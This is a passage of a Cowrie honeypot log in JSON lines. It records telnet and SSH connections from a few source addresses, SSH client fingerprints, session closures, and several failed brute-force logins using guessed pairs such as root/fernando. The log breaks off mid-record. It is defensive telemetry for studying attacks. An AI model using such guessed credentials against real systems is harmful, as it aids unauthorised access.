{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52366,"dst_ip":"10.17.0.5","dst_port":23,"session":"58b33fec86d7","protocol":"telnet","message":"New connection: 152.42.224.71:52366 (10.17.0.5:23) [session: 58b33fec86d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:12.532716Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52892,"dst_ip":"159.203.135.109","dst_port":22,"session":"262b8f247b94","protocol":"ssh","message":"New connection: 31.40.204.166:52892 (159.203.135.109:22) [session: 262b8f247b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:19.691254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:19.917836Z","src_ip":"31.40.204.166","session":"262b8f247b94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:19.922199Z","src_ip":"31.40.204.166","session":"262b8f247b94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55696,"dst_ip":"10.17.0.5","dst_port":23,"session":"a67816b3c6d1","protocol":"telnet","message":"New connection: 152.42.224.71:55696 (10.17.0.5:23) [session: a67816b3c6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:20.530255Z"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:20.610558Z","src_ip":"31.40.204.166","session":"262b8f247b94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55712,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ea2916548f3","protocol":"telnet","message":"New connection: 152.42.224.71:55712 (10.17.0.5:23) [session: 1ea2916548f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:21.526067Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:21.791626Z","src_ip":"31.40.204.166","session":"262b8f247b94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":106.57056713104248,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:23.202784Z","src_ip":"152.42.224.71","session":"c2004b41449f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55728,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4f1263c76ff","protocol":"telnet","message":"New connection: 152.42.224.71:55728 (10.17.0.5:23) [session: c4f1263c76ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:23.631657Z"}
{"eventid":"cowrie.session.closed","duration":33.65963792800903,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:24.737907Z","src_ip":"152.42.224.71","session":"b07c947632d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.59446620941162,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:30.762181Z","src_ip":"152.42.224.71","session":"7bd699982c55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":46090,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ae3763b64b1","protocol":"ssh","message":"New connection: 31.40.204.166:46090 (159.203.135.109:22) [session: 1ae3763b64b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:32.232033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:32.237220Z","src_ip":"31.40.204.166","session":"1ae3763b64b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:32.401384Z","src_ip":"31.40.204.166","session":"1ae3763b64b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45642,"dst_ip":"10.17.0.5","dst_port":23,"session":"c50d98378d65","protocol":"telnet","message":"New connection: 152.42.224.71:45642 (10.17.0.5:23) [session: c50d98378d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:32.807731Z"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:32.829159Z","src_ip":"31.40.204.166","session":"1ae3763b64b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45636,"dst_ip":"10.17.0.5","dst_port":23,"session":"808288cac6ca","protocol":"telnet","message":"New connection: 152.42.224.71:45636 (10.17.0.5:23) [session: 808288cac6ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:32.882501Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:33.994059Z","src_ip":"31.40.204.166","session":"1ae3763b64b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00551414489746,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:38.414584Z","src_ip":"152.42.224.71","session":"bc2237d1aee3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":115.6611111164093,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:38.779199Z","src_ip":"152.42.224.71","session":"885381605453","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":94.68624210357666,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:40.835350Z","src_ip":"152.42.224.71","session":"ec691ea307bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":45180,"dst_ip":"159.203.135.109","dst_port":22,"session":"37050705576e","protocol":"ssh","message":"New connection: 94.159.98.239:45180 (159.203.135.109:22) [session: 37050705576e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:40.853885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:40.861013Z","src_ip":"94.159.98.239","session":"37050705576e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:40.984672Z","src_ip":"94.159.98.239","session":"37050705576e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fernando","message":"login attempt [root/fernando] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:41.361758Z","src_ip":"94.159.98.239","session":"37050705576e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:42.488815Z","src_ip":"94.159.98.239","session":"37050705576e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.14619278907776,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:42.902248Z","src_ip":"152.42.224.71","session":"a14faed04de3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.82427215576172,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:43.395194Z","src_ip":"152.42.224.71","session":"e2ed06b373eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42116,"dst_ip":"159.203.135.109","dst_port":22,"session":"580ee1f121a8","protocol":"ssh","message":"New connection: 31.40.204.166:42116 (159.203.135.109:22) [session: 580ee1f121a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:43.422058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:43.511648Z","src_ip":"31.40.204.166","session":"580ee1f121a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:43.602956Z","src_ip":"31.40.204.166","session":"580ee1f121a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:44.200131Z","src_ip":"31.40.204.166","session":"580ee1f121a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.55815386772156,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:44.318646Z","src_ip":"152.42.224.71","session":"cbb1b7675539","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:45.402624Z","src_ip":"31.40.204.166","session":"580ee1f121a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.035927057266235,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:46.788261Z","src_ip":"152.42.224.71","session":"0bce4c870b9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.74.135","src_port":51268,"dst_ip":"159.203.135.109","dst_port":23,"session":"49954e5bf82e","protocol":"telnet","message":"New connection: 134.209.74.135:51268 (159.203.135.109:23) [session: 49954e5bf82e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:46.817088Z"}
{"eventid":"cowrie.session.closed","duration":80.42048597335815,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:47.996233Z","src_ip":"152.42.224.71","session":"babe6a842240","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.058070421218872,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:49.588212Z","src_ip":"152.42.224.71","session":"a67816b3c6d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38488,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a27b7d60b28","protocol":"telnet","message":"New connection: 152.42.224.71:38488 (10.17.0.5:23) [session: 4a27b7d60b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:51.523984Z"}
{"eventid":"cowrie.session.closed","duration":5.406461477279663,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:52.223437Z","src_ip":"134.209.74.135","session":"49954e5bf82e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00114345550537,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:52.803723Z","src_ip":"152.42.224.71","session":"fb5fb35e74d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48956,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dc90a8061b6","protocol":"ssh","message":"New connection: 31.40.204.166:48956 (159.203.135.109:22) [session: 4dc90a8061b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:54.881571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:54.895386Z","src_ip":"31.40.204.166","session":"4dc90a8061b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:55.018454Z","src_ip":"31.40.204.166","session":"4dc90a8061b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38496,"dst_ip":"10.17.0.5","dst_port":23,"session":"786237cf90bd","protocol":"telnet","message":"New connection: 152.42.224.71:38496 (10.17.0.5:23) [session: 786237cf90bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:55.111073Z"}
{"eventid":"cowrie.session.closed","duration":120.00215363502502,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:55.245670Z","src_ip":"152.42.224.71","session":"e49f7555fb17","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"user","message":"login attempt [deployer/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:55.914566Z","src_ip":"31.40.204.166","session":"4dc90a8061b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.687679052352905,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:56.319225Z","src_ip":"152.42.224.71","session":"c4f1263c76ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:57.103573Z","src_ip":"31.40.204.166","session":"4dc90a8061b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51762,"dst_ip":"10.17.0.5","dst_port":23,"session":"69674fc5433b","protocol":"telnet","message":"New connection: 152.42.224.71:51762 (10.17.0.5:23) [session: 69674fc5433b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:57.888719Z"}
{"eventid":"cowrie.session.closed","duration":38.582643032073975,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:00.108577Z","src_ip":"152.42.224.71","session":"1ea2916548f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.07542133331299,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:02.608011Z","src_ip":"152.42.224.71","session":"58b33fec86d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60904,"dst_ip":"159.203.135.109","dst_port":22,"session":"45cd077c022e","protocol":"ssh","message":"New connection: 31.40.204.166:60904 (159.203.135.109:22) [session: 45cd077c022e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:07.081124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:07.092256Z","src_ip":"31.40.204.166","session":"45cd077c022e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 